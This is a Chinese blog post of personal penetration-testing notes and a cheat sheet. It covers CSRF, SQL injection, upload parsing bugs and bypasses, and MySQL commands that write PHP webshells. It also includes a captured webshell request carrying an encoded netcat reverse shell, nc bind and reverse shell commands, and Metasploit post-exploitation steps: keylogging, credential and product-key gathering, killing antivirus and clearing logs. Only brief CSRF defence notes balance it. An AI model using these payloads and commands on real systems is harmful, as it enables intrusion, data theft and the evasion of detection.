渗透笔记整理

最近在整理印象笔记,其中有许许多多经验、研究和杂七杂八的想法,我会逐步上传到博客。
印象笔记截图.PNG

渗透笔记

CSRF

CSRF全名是Cross-site request forgery,理解上为伪造其他用户执行操作。

攻击

网页没有token头字段,通过请求拦截的方式,将对应URL记录下来。通过构建一个恶意页面,恶意页面代码如下:

1
2
3
4
5
6
7
# GET类型
<img src="操作行为的URL">

# POST类型
<form id="aa" action="操作行为的UR" method="post" name="form1"/>
<input type="submit" name="button" id="button" style="display:none;"/>
<script>window.location = "http://x.x.x.x";</script>

诱使对应人员点击该页面即可触发CSRF攻击。

防御思路

针对CSRF攻击,防御方面:

  1. 在重要操作执行钱需要进行验证码校验
  2. 站点添加token(或者自定义)头字段。由于token是随机并且一次性。在使用post方法时,防止token出现在URL(可以通过构建恶意网站 使用户访问恶意网站 恶意网站在后台构建假冒用户操作)
    通过抓包删除referer 测试
    针对CSRF攻击总结:防御方面为对操作进行用户身份验证;攻击方面可以构建的代码:form iframe img xhr link等。

攻击衍生

可以将XSS与CSRF结合:通过XSS让用户跳转到CSRF页面执行恶意操作。

SQL Injection

SQL Injection通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

攻击思路

最简单的注入思路就是针对id=、class=这些参数进行注入。看到过一次二次注入的思路:注册用户时将用户名设置成注入语句,在个人中心处注入语句被调用形成注入。因此,允许输入与数据库交互那么便有可能存在注入。例如cookie等报文头里面的数据,如果数据库会记录该数据那变可能存在注入。

攻击衍生

当站点对输入进行过滤(防御),可以尝试使用编码转换,将注入语句转码。

内网渗透

内网渗透是指渗透人员获取了一台内网主机时,针对内网进行内网渗透的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Windows
# 查看用户权限
whoami
# 提权
pr
# 开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 查看计算机信息
systeminfo
# 获取密码
mimikatz
# 进程信息
tasklist /svc
# 查看端口
netstart -an

上传漏洞

IIS6.0

1.目录名称为a.asp,该目录下的文件都会以asp解析;
2.上传a.asp;.xx.jpg类型的文件,由于IIS6.0解析”;”会截断,所以在解析时可以理解为以asp文件类型解析。

IIS7.0/7.5+Nginx≤0.8.37

IIS7.0/7.5,在PHP配置文件中,开启了cgi.fix_pathinfo(该配置默认开启),当文件为php类型,iis会交给php解析;
nginx和iis7.5类似:
Fast-CGI开启状况(默认),上传内容为:

1
<?php fputs(fopen('cmd.php','w'),'<?php eval($_POST[cmd])?>');?>

的x.jpg。访问../../../x.jpg/.php会在根目录下生成一个cmd.php;

  1. 在文本前面加上 Gif89a 让服务器以为该文本为图片类型文件;
  2. 双文件上传 通过在上传<input type="FileName" type="FILE">后面在加入<input type="FileName" type="FILE">。下载网页源码 另存为到桌面 然后第一个地方上传正常图片 第二个地方上传马;
  3. 上传一句话木马可以对一句话多次加密。
    上传成功之后,如果连接一句话被防护设备阻断,可以通过修改菜刀进行连接。原理是因为当前防护设备是针对网络流量进行识别,当流量中出现对应关键字会进入识别流程,当所有条件都满足时就会阻断该流量。该方式绕过方式千千万,只要特征不命中即可。

SQL命令

记录MySQL数据库在渗透的时候可以用到的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 导出文件
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
## 导出一句话
create table cmd (a varchar(50));
insert into cmd (a) values ('一句话木马');
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;'from cmd;
drop table cmd;
Select 'asp一句话木马' into [vote] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 8.0;' fromvote;
select into outfile(dumpfile); //MySQL写文件命令 (例如:select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";)

# 系统用户名
system_user()
# 用户名
user()
# 当前用户名
current_user
# 连接数据库的用户名
session_user()
# 数据库名
database()
# MYSQL数据库版本
version()
# MYSQL读取本地文件的函数
load_file()
# 读取数据库路径
@@datadir
# MYSQL 安装路径
@@basedir
# 操作系统
@@version_compile_os

PHP爆破路径

1.错误参数爆路径
2.google搜索: sieze:xxx.com warning size:xxx.com phpmyadmin(phpMyadmin
3.测试文件爆路径 test.php ceshi.php info.php
4.注入点读取配置文件 load_file

小迪学习笔记

我在刚刚接触渗透的时候,经常会看小迪的渗透教程视频。那时候,边学边记。

小迪第一讲

小迪第一讲主要讲解一下基础的知识,便于后期理解。
软件:APMServ

1
2
3
4
5
6
7
8
9
10
11
# web环境
iis6.0(Windows2003)
iis7.X(win7 Windows2008)
Apache(linux Windows)
# 常见搭配
asp + access + iis
asp + sqlserver + iis
php + mysql + Apache tomcat
jsp + sqlserver + tomcat
jsp + oracle +tomcat
aspx + sqlserver + iis

小迪第四讲

一个页面 http://www.xxx.com/xxx.asp?id=xx,存在cookie注入。使用SQLMap进行攻击,命令如下:`sqlmap: sqlmap.py -u http://www.xxx.com/xxx.asp –cookie “id=xx” –level 2`

小迪第五讲

数字型注入:and 1=1。例如:select from admin where id=1
字符型注入:' and '1'='1,在代码处由于字符型需要加单引号或者双引号。例如:select from admin where a='a'
搜索型注入:%'

小迪第七讲

通过 load_file 读取后台文件 例如:前台页面向后台login.php传递参数并判断然后跳转 这时候可以通过 load_file sql注入语句来读取login.php文件

小迪第九讲

服务器常见状态码:

1
2
3
4
5
1XX:正在处理
2XX:成功
3XX:重定向
4XX:客户端错误 403:存在(没权限) 404:不存在
5XX:服务器错误 500:可能存在

小迪第十讲

该课程主要讲解mssql综合利用工具,由于是工具利用,所以并没有详细记录。

小迪第十一讲

验证机制分为:本地、远程。本地验证可以通过禁用、删除等方式进行绕过。
解析漏洞:

1
2
3
4
5
6
7
8
9
10
11
IIS6.0
文件名: 1.asp;.jpg
文件夹:用户名为 1.asp 文件类型:1.jpg

IIS7.X uginx:
http://www.xxx.com/logo.gif
解析漏洞:http://www.xxx.com/logo.gif/x/php

apache:
首先是否系统能否解析的后缀名
http://www.xxx.com/logo.php.asdasd 最后的后缀无法识别 便继续往前推

小迪第十二讲

IIS 解析漏洞利用path:a.asp;.,在上传的时候通过修改文件前缀。不单单是文件前缀,如果上传包中存在path,可以通过修改path。因为有时候验证是通过文件名filename,而不验证filepath。
图片马使用UE(uedit)编辑器即可添加。

小迪第十四讲

针对上传绕过时,首先需要知道过滤方式。可通过多次上传来猜解其过滤方式。
利用手段

  1. 00截断:1.asp’\0’.jpg:
  2. 通过UE将上传包保存为文本文档在上传文件名后面加上:空格 .jpg。例如 1.asp .jpg。
  3. 通过UE将空格 20 修改为 00
  4. 在上传包文本中 包长度 length 数值加5
  5. 检验文件类型 通过抓包修改
  6. 过滤不全 asp asa cer cdx htr
  7. 检验文件头:在文件头前面加上 GIF89a

工具

一句话流量学习

1
2
3
4
5
6
7
8
9
10
11
# url执行命令
POST /test.php HTTP/1.1
X-Forwarded-For: 199.1.88.29
Referer: http://192.168.168.147
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Host: 192.168.168.147
Content-Length: 569
Cache-Control: no-cache

cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=L2Jpbi9zaA%3D%3D&z2=Y2QgIi92YXIvd3d3L2h0bWwvIjtuYyAxOTIuMTY4LjEwLjExIDEzMzcgLWUgL2Jpbi9iYXNoO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%3D%3D

NC工具

1
2
3
4
5
6
正向连接:
服务器命令:nc -l -p 1337 -e /bin/bash
客服端使用:nc >nc x.x.x.x 1337
反向连接:
服务器命令:nc 192.168.10.11 1337 -e /bin/bash
客户发命令:nc -lvv -p 1337

Metasploit-msfconsole工具

Metasploit是一个优秀的渗透测试框架!!!!!!!

攻击阶段:

使用msfconsole打开Metasploit
Image.png
使用nmap扫描来发现开放端口nmap -T4 -A -v x.x.x.x
nmap.png
使用search命令来搜索需要的exp
search.png
使用use命令来打开exp,之后使用show options查看需要指定的参数
show.png
使用set rhost等来设置参数之后,通过exploit来获取meterpreter会话
set.png

信息收集阶段:

获取服务器信息(sysinfo、getuid、idletime、run get_env、ifconfig、route)
systeminfo.png
获取服务器当前截屏(screenshot)
screenshot.png
获取服务器进程信息(ps)
ps.png
将 meterpreter会话迁移至explorer(migrate)
migrate.png
开启键盘记录,输出(keyscan_start、keyscan_dump)
keyscan.png
获取服务器shell(shell)
shell.png
检测服务器是否为虚拟机(run checkvm)
checkvm.png
启动远程桌面(run getgui -e);启动telnet服务(run gettelnet -e)
getgui.png
获取子网状况(run get_local_subnets)
get_local_subnets.png
编辑hosts(run hostedit)
hostedit.png
查看已经登录的用户数(run enum_logged_on_users)
enum_logged_on_users.png
获取已安装应用程序(run get_application_list)
get_application_list.png
获取驱动器信息(run windows/gather/forensics/enum_drives)
enum_drives.png
获取产品密钥(run windows/gather/enum_ms_product_keys)
enum_ms_product_keys.png
获取autologin(run windows/gather/credentials/windows_autologin)
autologin.png
使用自动脚本获取系统信息(run winenum)
winenum.png
获取服务器额外信息(run scraper;信息存放路径为:.msf5/logs/scrips/scraper/192.x.x.x.x)
scraper.png

清理痕迹阶段:

检测防火墙状态(run getcountermeasure)
getcountermeasure.png
关闭杀毒软件(run killav;find / -name ‘killav.rb’;/usr/share/metasploit-framework/scripts/meterpreter/killav.rb)
killav.png
清理日志(clearev)
clearev.png

Nmap

Nmap常用命令汇总记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Nmap常用命令参数讲解
-d [level] (提高或设置调试级别) 。
-sT tcp端口扫描(完整三次握手)。
-sU udp扫描。(不回应可能端口打开,回应是关闭)
-sL dns反向解析。
-sM[fin ack mainmon扫描] 。
-sS隐蔽扫描(半开syn)。
-sP发现扫描网络存活主机。(直连arp非直连tcp80 icmp)
-sO确定主机协议扫描。
-sA tcp ACK扫描。
-sW 对滑动窗口的扫描sI[idlescan]。
-sR RPC扫描。(flag没有syn,ack,rst回送rst)
-sN 关闭主机发现【空】。(不管是否存在直接扫描)
-sF FIN扫描 。(sN sF sX逃避不了ids)
-sX Xmas扫描 (fin psh urg为置位)。
-sI 完全隐藏。【以一个跳板主机{无流量}扫描另一台主机】
-sV 服务版本。
-sC 跟安全有关的脚本
-P0 指定协议。(不ping主机)(1icmp6tcp17udp47gre50esp51ah53swipe77sun-nd115l2tp120uti132sctp)
-PS 端口列表用,隔开[tcp80 syn 扫描]
-PA 端口列表用,隔开[ack扫描](PS+PA测试状态包过滤防火墙【非状态的PA可以过】)【默认扫描端口1-1024】
-PU 端口列表用,隔开[udp高端口扫描 穿越只过滤tcp的防火墙]
-PE [icmp ping types]
-PM 掩码请求。
-PR [arp ping] 默认直连用。
-PN 自己。
-PP 时间请求。

GoogleHack

使用Google搜索往往能获得意想不到的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ps:不区分大小写
all开头一次查询只能使用一个
intext:关键词 (搜索页面正文包含关键词的网页)
allintext:关键词,关键词 (拼接多个关键词)
intitle:关键词 (搜索页面标题包含关键词的网页)
allintitle:关键词,关键词 (拼接多个关键词)
cache:url (搜索特定页面的快照)
defind:关键词 (搜索关于关键词的定义,不能与其他操作符混用)
filetype:关键词 (搜索所有以关键词为后缀的文件的url)
ext:关键词 (性质与filetype一致)
info:
搜索输入URL的摘要信息和其他相关信息,该操作符不能与其他操作符及关键字混用
inurl:关键词 (搜索url中包含关键词的网页)
allinurl:关键词,关键词 (搜索url中包含多个关键词的网页)
site:url (将搜索范围缩小到特定的网站,域或子域)
*(通配符)
-(排除符号)